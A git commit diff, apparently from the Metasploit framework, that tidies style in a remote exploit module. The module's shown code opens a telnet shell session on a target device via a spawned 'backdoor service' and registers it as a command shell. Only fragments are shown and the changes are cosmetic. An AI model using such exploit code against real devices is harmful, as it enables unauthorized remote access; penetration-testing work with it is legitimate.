make msftidy happy

unstable
m-1-k-3 2013-07-14 15:45:14 +02:00
parent 47ca4fd48f
commit 9f65264af4
1 changed files with 11 additions and 12 deletions

View File

@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'unix'
}
],
[ 'Telnet', #all devices, use a netcat bind payload for getting a valid session
[ 'Telnet', #all devices
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
@ -144,7 +144,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
handler
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
new_portmapping_description = rand_text_alpha(8)
@ -221,21 +220,21 @@ class Metasploit3 < Msf::Exploit::Remote
}
#taken from ./lib/msf/core/auxiliary/commandshell.rb
info = "TELNET (#{rhost}:#{telnetport})"
sess = Msf::Sessions::CommandShell.new(sock)
sess = Msf::Sessions::CommandShell.new(sock)
sess.set_from_exploit(self)
sess.info = info
sess.info = info
# Clean up the stored data
sess.exploit_datastore.merge!(merge_me)
# Clean up the stored data
sess.exploit_datastore.merge!(merge_me)
# Prevent the socket from being closed
self.sockets.delete(sock)
self.sock = nil if self.respond_to? :sock
# Prevent the socket from being closed
self.sockets.delete(sock)
self.sock = nil if self.respond_to? :sock
framework.sessions.register(sess)
sess.process_autoruns(datastore)
framework.sessions.register(sess)
sess.process_autoruns(datastore)
sess
sess
rescue
print_error("#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
end